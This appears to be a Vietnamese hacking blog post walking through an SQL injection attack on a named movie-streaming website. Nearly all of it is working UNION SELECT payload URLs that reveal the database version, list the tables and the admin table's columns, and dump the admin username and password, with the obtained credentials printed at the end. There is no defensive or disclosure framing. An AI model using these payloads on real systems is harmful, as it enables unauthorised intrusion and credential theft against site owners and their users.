Hack Site Phim www.123phim.net

Get version
http://www.123phim.net/Song-hung-ky-di-36-36-Song-hung-ki-di-phim-4246 div 0 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11-- -.html
Get table
http://www.123phim.net/Song-hung-ky-di-36-36-Song-hung-ki-di-phim-4246 div 0 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- -.html
Tất cả các table
admin,advertise,camnhan,cat_download,category,chan nel,counter,dienvien,download,favbox,mcategory,med ia,members,mobile,mobile_category,mobile_topinweek ,news,news_category,news_setting,nhipsong_links,ph im,phim_choice,poll_db,problems,requirment,rss_fee ds,section,shopping_category,suggest_stream,tag,te rms,user
Get column của admin
http://www.123phim.net/Song-hung-ky-di-36-36-Song-hung-ki-di-phim-4246 div 0 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=database() and table_name=0x61646d696e-- -.html
Tất cả column của admin
id,uid,pwd,email,admin_email,report_email,feedback _email,support_email,info_email,legal_email
Get user và pass admin
http://www.123phim.net/Song-hung-ky-di-36-36-Song-hung-ki-di-phim-4246 div 0 UNION SELECT 1,group_concat(uid,0x7c,pwd),3,4,5,6,7,8,9,10,11 from admin-- -.html 
Ta được
admin|admin 

Chú Ý:

Coppy phải ghi rõ nguồn Dương-UG Blog's